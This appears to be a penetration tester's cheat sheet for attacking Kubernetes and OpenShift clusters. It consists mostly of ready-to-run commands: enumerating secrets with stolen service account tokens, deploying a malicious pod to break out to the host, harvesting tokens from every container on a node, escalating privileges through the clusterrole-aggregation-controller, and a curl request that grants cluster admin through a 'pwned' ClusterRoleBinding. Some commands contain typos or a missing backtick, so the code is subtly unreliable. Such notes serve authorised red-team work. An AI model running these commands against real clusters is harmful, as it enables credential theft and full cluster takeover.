Containerization / Orchestration

Kubernetes

• https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security

• https://redteamrecipe.com/100-Method-For-Container-Attacks/

kubectl

• https://kubernetes.io/ru/docs/tasks/tools/install-kubectl/

Get kubectl:

curl -LO https://storage.googleapis.com/kubernetes-release/release/`curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt`/bin/linux/amd64/kubectl
chmod +x ./kubectl
sudo mv ./kubectl /usr/local/bin/kubectl
kubectl version --client

Basic authenticated enumeration (the service account token from /run/secrets/kubernetes.io/serviceaccount/token can be parsed at jwt.io):

$ kubectl auth can-i --list
$ kubectl get namespaces
$ kubectl auth can-i --list -n <NAMESPACE>
$ kubectl get pods -n <NAMESPACE>
$ kubectl describe pods <POD> -n <NAMESPACE>
$ kubectl get secrets -n <NAMESPACE>
$ kubectl describe secrets -n <NAMESPACE>
$ kubectl --token=$(cat token) auth can-i create pods

To use kubectl from a remote host:

$ ls -la {/run/secrets,/var/run/secrets,/secrets}/kubernetes.io/serviceaccount
$ kubectl auth can-i --list -n kube-system --token `cat token` --server https://192.168.1.11:443 --certificate-authority ca.crt

• https://kubernetes.io/docs/tasks/extend-kubernetes/socks5-proxy-access-api/

Due to proxychains mostly does not work with Go binaries, export HTTPS_PROXY=socks5://localhost:1080 in order to use kubectl through a SOCKS tunnel.

Malicious Pods

• https://github.com/BishopFox/badPods

Deploy a malicious pod:

$ kubectl apply -f evilpod.yml
$ kubectl exec --stdin --tty -it evilpod -- chroot /hostfs bash

Kubernetes API Server Paths

Check these kube-apiserver paths for anonymous access (stolen from HackTricks):

/api
/api/v1
/apis
/apis
/apis/admissionregistration.k8s.io
/apis/admissionregistration.k8s.io/v1beta1
/apis/apiextensions.k8s.io
/apis/apiextensions.k8s.io/v1beta1
/apis/apiregistration.k8s.io
/apis/apiregistration.k8s.io/v1
/apis/apiregistration.k8s.io/v1beta1
/apis/apps
/apis/apps/v1
/apis/apps/v1beta1
/apis/apps/v1beta2
/apis/authentication.k8s.io
/apis/authentication.k8s.io/v1
/apis/authentication.k8s.io/v1beta1
/apis/authorization.k8s.i
/apis/authorization.k8s.io/v1
/apis/authorization.k8s.io/v1beta1
/apis/autoscaling
/apis/autoscaling/v1
/apis/autoscaling/v2beta1
/apis/batch
/apis/batch/v1
/apis/batch/v1beta1
/apis/certificates.k8s.io
/apis/certificates.k8s.io/v1beta1

Pod Escape

CVE-2022-0492 (cgroups)

• https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/
• https://0xdf.gitlab.io/2021/05/17/digging-into-cgroups.html
• https://github.com/puckiestyle/CVE-2022-0492
• https://github.com/T1erno/CVE-2022-0492-Docker-Breakout-Checker-and-PoC
• https://github.com/carlospolop/hacktricks/blob/master/linux-unix/privilege-escalation/escaping-from-a-docker-container.md

Node Post-Exploitation

• https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod#node-post-exploitation

clusterrole-aggregation-controller

A study case in taking over the cluster after escaping from a pod to a worker node.

Extract tokens from all the running containers:

$ for c in `docker ps -q`; do echo $c; docker exec $c 'cat /var/run/secrets/kubernetes.io/serviceaccount/token' | tee tokens/$c; echo; echo; done

Check privileges of each token:

$ for t in `ls tokens`; do echo $t; kubectl --token `cat tokens/$t --server https://10.10.0.1 --certificate-authority ca.crt auth can-i --list -n kube-system; done

List kube-system secrets with a discovered privileged token:

$ kubectl --token `cat tokens/1337deadbeef` --server https://10.10.0.1 --certificate-authority ca.crt get secrets [-o yaml] -n kube-system

Add exec privilege with clusterrole-aggregation-controller token to itself:

$ kubectl --token `cat clusterrole-aggregation-controller-token` --server https://10.10.0.1 --certificate-authority ca.crt auth can-i create pods --subresource exec -n kube-system
no

$ kubectl --token `cat clusterrole-aggregation-controller-token` --server https://10.10.0.1 --certificate-authority ca.crt edit clusterrole system:controller:clusterrole-aggregation-controller
resources:
  - pods
  - pods/exec
verbs:
  - create

$ kubectl --token `cat clusterrole-aggregation-controller-token` --server https://10.10.0.1 --certificate-authority ca.crt auth can-i create pods --subresource exec -n kube-system
yes

Look for a privileged pod to exec into it:

$ kubectl --kubeconfig /etc/kubernetes/kubelet-kubeconfig.conf get pods --all-namespaces -o wide --filed-selector spec.nodeName=kube-master-01
$ kubectl --kubeconfig /etc/kubernetes/kubelet-kubeconfig.conf get pods some-pod-name -n some-namespace -o json | grep privileged
"privileged": true

Do it:

$ kubectl --token `cat clusterrole-aggregation-controller-token` --server https://10.10.0.1 --certificate-authority ca.crt exec -it some-pod-name -- bash
cat /proc/self/status | grep Cap

Tools

kube-hunter

• https://github.com/aquasecurity/kube-hunter

$ kube-hunter --cidr 10.0.1.0/24 --active

Training Labs

• https://www.bustakube.com/
• https://0xdf.gitlab.io/2021/09/04/htb-unobtainium.html

Red Hat OpenShift

• https://github.com/cherkavi/cheat-sheet/blob/master/openshift.md

Grant a low-priv user admin's privileges across the cluster via REST API:

curl -k -X POST 'https://cluster.megacorp.local:8443/apis/rbac.authorization.k8s.io/v1/clusterrolebindings' \
  -H 'Authorization: Bearer <TOKEN>'  \
  -H 'Accept: application/json'       \
  -H 'Content-Type: application/json' \
  -d'
{
  "kind": "ClusterRoleBinding",
  "apiVersion": "rbac.authorization.k8s.io/v1",
  "metadata": {
    "name": "pwned",
    "creationTimestamp": null
  },
  "subjects": [
    {
      "kind": "User",
      "apiGroup": "rbac.authorization.k8s.io",
      "name": "[e-mail]"
    }
  ],
  "roleRef": {
    "apiGroup": "rbac.authorization.k8s.io",
    "kind": "ClusterRole",
    "name": "admin"
  }
}'